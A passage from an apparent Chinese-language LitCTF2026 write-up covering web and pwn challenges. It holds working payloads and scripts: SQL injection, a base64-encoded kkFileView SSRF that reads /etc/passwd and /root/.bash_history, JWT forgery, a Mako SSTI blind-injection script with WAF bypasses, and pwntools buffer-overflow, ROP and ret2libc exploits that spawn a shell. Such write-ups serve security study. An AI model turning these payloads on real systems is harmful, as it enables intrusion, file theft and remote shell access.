/query?id=%bf%27%20union%20select%201,database(),user(),version(),5%23&debug=1

img

database(): ezsql

user(): ezsql@localhost

version(): 10.5.29-MariaDB-0+deb11u1

枚举表名

Payload:

1
/query?id=%bf%27%20union%20select%201,table_name,table_schema,4,5%20from%20information_schema.tables%20where%20table_schema=database()%23&debug=1

得到:

1
usersflag_store

img

举字段名

Payload:

1
/query?id=%bf%27%20union%20select%201,column_name,table_name,4,5%20from%20information_schema.columns%20where%20table_schema=database()%23&debug=1

得到:

img

1
users: id, name, col2, col3, col4flag_store: id, flag

读取 flag

Payload:

1
/query?id=%bf%27%20union%20select%20id,flag,3,4,5%20from%20flag_store%23&debug=1

img

flag:

flag{rmdechs5-b6et-4qw-82na-xshmg76ekrmnp}

[LitCTF2026] Northbridge Document Hub

查看源代码 访问静态的js文件

img

img

注释中给出了账密明文 :researcher:Research#2026

给了一个接口路径:/kkfileview/getCorsFile

path: “/kkfileview/getCorsFile” - 接口路径

queryKey: “urlPath” - 参数名

node: “legacy-parse-02” - 使用 kkFileView

通过搜索 kkFileView getCorsFile SSRF vulnerability ,找到了 GitHub Issues:

kkFileView SSRF Vulnerability #392 (2022年)

kkFileview v4.1.0存在SSRF漏洞,攻击者可以利用此漏洞造成服务器端请求伪造(SSRF)

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@GetMapping("/getCorsFile")
public void getCorsFile(String urlPath, HttpServletResponse response) {
try {
urlPath = WebUtils.decodeBase64String(urlPath); // Base64解码
} catch (Exception ex) {
logger.error(String.format(BASE64_DECODE_ERROR_MSG, urlPath), ex);
return;
}

// ❌ 没有任何过滤!
if (urlPath.toLowerCase().startsWith("file:") ||
urlPath.toLowerCase().startsWith("file%3")) {
logger.info("异常,可能存在非法访问,urlPath:{}", urlPath);
return;
}

// 直接使用用户提供的 urlPath 发起请求
URL url = WebUtils.normalizedURL(urlPath);
byte[] bytes = NetUtil.downloadBytes(url.toString());
IOUtils.write(bytes, response.getOutputStream());
}

Base64编码绕过 成功获取

1
GET /kkfileview/getCorsFile?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk

img

img

读取历史命令 /root/.bash_history

payload

1
kkfileview/getCorsFile?urlPath=L3Jvb3QvLmJhc2hfaGlzdG9yeQ==

img

存在 /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip

img

payload

1
kkfileview/getCorsFile?urlPath=ZmlsZTovLy9vcHQva2tmaWxldmlldy9jYWNoZS9wYXJzZWQvcTFfZmluYW5jZV9yZXBvcnRfMjAyNi56aXA=

img

解压得到打开文本文档flag

img

[LitCTF2026] 华辰企业服务运营平台

查看 /login 页面发现默认用户名 user ,密码由系统管理员下发

img

查看源代码 访问js/index.js静态文件

img

  • /api/public/banner - 平台横幅信息
  • /api/public/news - 公告列表

dirsearch爆破出来

  • /api/auth/login - 登录接口
  • /api/auth/me - 当前用户信息
  • /actuator

img

响应展示了所有可用Actuator端点:

- /actuator/beans - Bean清单

- /actuator/env - 环境变量

- /actuator/configprops - 配置属性

- /actuator/mappings - 路由映射

- /actuator/heapdump - 堆转储

- /actuator/threaddump - 线程转储

访问环境变量 /actuator/env 得到flag

img

flag:

flag{kpw4boze-kpyc-4ar-84gq-ttq8vu5mms3di}

[LitCTF2026] lit_reverse_my_web

分析附件,发现这是一个Go语言编写的Web服务器(server.exe)

img

访问环境,远程服务是一个企业运营中心,有登录、注册功能

img

登录后发现需要更高权限才能访问 /flag 页面

img

登录后获取到JWT token

解码JWT发现 payload 中有 “role”: “user”,需要将role改为”admin”才能访问flag

img

分析二进制文件,寻找jwt key

img

img

密钥被 XOR 0x5a 加密,解密还原出JWT密钥

rMw_2026_litctf_jwt_secret_key!!

img

使用找到的密钥伪造admin权限的JWT token

img

使用伪造的token访问 /flag 页面

img

flag

flag{qfyvj1kp-z2sc-4ju-8sai-wsa1cd8ly3qrs}

[LitCTF2026] lit_ezssti

题目名叫 lit_ezssti,描述是“缺什么补什么(x”,页面给了一个模板输入框,POST 参数是 tpl。第一反应是 SSTI,但直接打常见 Jinja2 payload 不生效:

payload:{{7*7}}

img

继续测试危险字符:

1
{{[].__class__}}

img

说明后端确实有模板渲染和 WAF,只是模板引擎可能不是 Jinja2,或者表达式分隔符不是 {{ }}

测试 Mako 控制行语法:

payload

1
2
3
% if True:
OK
% endif

img

再测循环:

1
2
3
% for i in range(3):
X
% endfor

img

所以后端是 Mako 模板注入。Mako 的表达式输出是${7*7}

img

因此不能直接用 ${…} 输出命令结果,需要换成控制流盲注。

经过测试发现以下关键词会触发WAF

1
2
3
4
5
flag
.
[]
=
${...}

绕过思路:

  1. flag 拆成字符串拼接:’/f’+’lag’
  2. 点号调用 .read() 改成 getattr(…,’read’)()
  3. 下标访问 [i] 改成 getattr(…,’getitem‘)(i)
  4. 不用 =,判断大小用 > 做二分盲注

确认文件存在

1
2
3
% if getattr(open('/f'+'lag'),'read')():
Y
% endif

img

使用盲注+二分法判断出flag位数是42位

payload

1
2
3
% if len(getattr(open('/f'+'lag'),'read')())>10:
Y
% endif

img

img

然后逐字符读取flag

因为不能直接输出文件内容,就用 ord() 判断某一位字符 ASCII 值。

1
2
3
% if ord(getattr(getattr(open('/f'+'lag'),'read')(),'__getitem__')(0))>100:
Y
% endif

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import urllib.parse
import urllib.request
import re
import html

url = "http://challenge.cyclens.tech:31533/"

def query(expr):
tpl = f"% if {expr}:\nY\n% endif"
data = urllib.parse.urlencode({"tpl": tpl}).encode()

req = urllib.request.Request(url, data=data, method="POST")
with urllib.request.urlopen(req, timeout=10) as r:
text = r.read().decode("utf-8", "replace")

m = re.search(r'<pre id="out">(.*?)</pre>', text, re.S)
out = html.unescape(m.group(1).strip()) if m else ""

if out == "WAF":
raise RuntimeError("WAF: " + expr)

return out == "Y"

s = "getattr(open('/f'+'lag'),'read')()"
flag = ""

for i in range(200):
if not query(f"len({s})>{i}"):
break

lo, hi = 0, 127
while lo < hi:
mid = (lo + hi) // 2
expr = f"ord(getattr({s},'__getitem__')({i}))>{mid}"
if query(expr):
lo = mid + 1
else:
hi = mid

flag += chr(lo)
print(flag)

print("FINAL:", flag)

img

flag:

flag{6vxzg8a7-cwff-4ww-8xwt-szwfuuk7lowyb}

pwn

[LitCTF2026] lit_ret2text32

32位程序,vuln函数存在栈溢出,offest=0x38+0x4

img

backdoor函数存在

img

写脚本,cat flag得到:flag{tkhlcr9k-9yas-4pu-8cid-u2iwn0u4fd8vy}

img

1
2
3
4
5
6
from pwn import *
p = remote('challenge.cyclens.tech', 31756)
payload = b'A' *(0x38 + 4) + p32(0x8049213)
p.recvuntil(b"Input: ")
p.sendline(payload)
p.interactive()

[LitCTF2026] lit_integer_overflow

read_data函数, 当输入的 size > 63 时,打印警告信息,但会继续向下执行

img

存在后门函数

img

写payload,得到flag{itti8hlj-h03z-4oc-8jsp-8yabjt4xuqsnh}

img

1
2
3
4
5
6
7
8
9
10
from pwn import *
io = remote('challenge.cyclens.tech', 31839)
io.sendlineafter(b'(0-63): ', b'80')
backdoor_addr = 0x004011D8
payload = b'A' * 64
payload += b'B' * 8
payload += p64(backdoor_addr)
log.info(f"Sending payload, redirecting to: {hex(backdoor_addr)}")
io.send(payload)
io.interactive()

[LitCTF2026] lit_ret2shellcode

vuln函数,泄露buf的栈地址,read函数存在栈溢出。将shellcode写入buf ,同时覆盖RIP为buf的地址,执行 /bin/sh 获得 shell

img

得到:flag{367ou267-ghrv-4rs-8xlt-fvxhyw0lllr5q}

img

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p = remote('challenge.cyclens.tech', 30693)
p.recvuntil(b'buf is at ')
buf = int(p.recvline(), 16)
log.success(hex(buf))
shellcode = asm(shellcraft.sh())
offset = 120
payload = shellcode
payload = payload.ljust(offset, b'A')
payload += p64(buf)
p.sendafter(b'Leave your mark', payload)
p.interactive()

[LitCTF2026] lit_ropchain

vuln函数存在栈溢出,offest=0x40+8

img

程序里还给了三个ROP gadget:

  • pop rdi; ret -> 0x401166
  • pop rsi; ret -> 0x40116b
  • pop rdx; ret -> 0x401170

同时有:

read@plt = 0x401060

system@plt = 0x401040

.bss = 0x403460

脚本:栈溢出控制RIP,调用read,把/bin/sh\x00 写进 .bss,然后再调用system,执行system(“/bin/sh”),得到shell

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
p = remote('challenge.cyclens.tech', 30719)
OFFSET = 0x40 + 8
POP_RDI = 0x401166
POP_RSI = 0x40116b
POP_RDX = 0x401170
READ_PLT = 0x401060
SYSTEM_PLT = 0x401040
BSS_BUF = 0x403460
payload = b"A" * OFFSET
payload += p64(POP_RDI) + p64(0)
payload += p64(POP_RSI) + p64(BSS_BUF)
payload += p64(POP_RDX) + p64(8)
payload += p64(READ_PLT)
payload += p64(POP_RDI) + p64(BSS_BUF)
payload += p64(SYSTEM_PLT)
p.send(payload)
p.send(b"/bin/sh\x00")
p.interactive()

[LitCTF2026] lit_ret2syscall32

vuln存在栈溢出,offest=0x48+4

img

ret2syscall 用的 gadget地址如下

pop eax ; ret 0x080491a6

pop ebx ; ret 0x080491ab

pop ecx ; pop ebx ; ret 0x080491b0

pop edx ; ret 0x080491b6

mov dword ptr [edx], eax ; ret 0x080491bb

int 0x80 0x080491c1

可写地址用data_buf = 0x0804b3a0

首先用mov [edx], eax,写入”/bin/sh\x00”,然后执行32 位 Linux syscall:execve(“/bin/sh”, argv, NULL);

cat flag得到:flag{rydvth5l-fvpz-4e1-8xjz-jg9hnomhld6md}

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
p = remote('challenge.cyclens.tech', 30228)
OFFSET = 0x48 + 4
DATA_BUF = 0x0804B3A0

POP_EAX = 0x080491A6
POP_EBX = 0x080491AB
POP_ECX_EBX = 0x080491B0
POP_EDX = 0x080491B6
MOV_PTR_EDX_EAX = 0x080491BB
INT_80 = 0x080491C1
rop = b''
# 写 "/bin"
rop += p32(POP_EDX) + p32(DATA_BUF)
rop += p32(POP_EAX) + b'/bin'
rop += p32(MOV_PTR_EDX_EAX)
# 写 "/sh\x00"
rop += p32(POP_EDX) + p32(DATA_BUF + 4)
rop += p32(POP_EAX) + b'/sh\x00'
rop += p32(MOV_PTR_EDX_EAX)
# 写 argv[0] = data_buf
rop += p32(POP_EDX) + p32(DATA_BUF + 8)
rop += p32(POP_EAX) + p32(DATA_BUF)
rop += p32(MOV_PTR_EDX_EAX)
# 写 argv[1] = NULL
rop += p32(POP_EDX) + p32(DATA_BUF + 12)
rop += p32(POP_EAX) + p32(0)
rop += p32(MOV_PTR_EDX_EAX)
# execve("/bin/sh", argv, NULL)
rop += p32(POP_EAX) + p32(0xb)
rop += p32(POP_ECX_EBX) + p32(DATA_BUF + 8) + p32(DATA_BUF)
rop += p32(POP_EDX) + p32(0)
rop += p32(INT_80)
payload = b"A" * OFFSET + rop
p.send(payload)
p.interactive()

[LitCTF2026] lit_ret2libc

vuln,offest=0x40+8

img

leak_value,会泄露地址

img

一个gadget:

4011b7: pop rdi

4011b8: ret

第一次rop:利用leak_value函数,泄露多个函数在libc中的真实地址

puts: 0x7e74dc230e50

printf: 0x7e74dc2106f0

read: 0x7e74dc2c4850

setvbuf: 0x7e74dc2315f0

找到对应的libc版本

img

第二段rop:先泄露 puts@GOT 的真实地址,计算 libc 基址;得到 system"/bin/sh" 的地址,第二次溢出时调用 system("/bin/sh") 获取 shell,cat flag:flag{q4iub8cy-6mf7-4wg-8jfe-qt5g2nyvjlsg6}

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
import re
context.arch = "amd64"
context.log_level = "debug"
p = remote("challenge.cyclens.tech", 31541)
libc = ELF("./libc.so.6", checksec=False)
OFFSET = 72
POP_RDI, RET = 0x4011B7, 0x4011B8
LEAK, VULN = 0x4011C3, 0x4011F0
PUTS_GOT = 0x4033D8
def leak(addr):
p.sendafter(b"Tell me your name: ",
flat(b"A"*OFFSET, RET, POP_RDI, addr, LEAK, RET, VULN)
)
return int(re.search(rb"0x[0-9a-fA-F]+", p.recvline()).group(), 16)
puts = leak(PUTS_GOT)
libc.address = puts - libc.sym["puts"]
log.success(f"libc base = {hex(libc.address)}")
system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh\x00"))
p.sendafter(b"Tell me your name: ",
flat(b"A"*OFFSET, RET, POP_RDI, binsh, system, libc.sym["exit"])
)
p.interactive()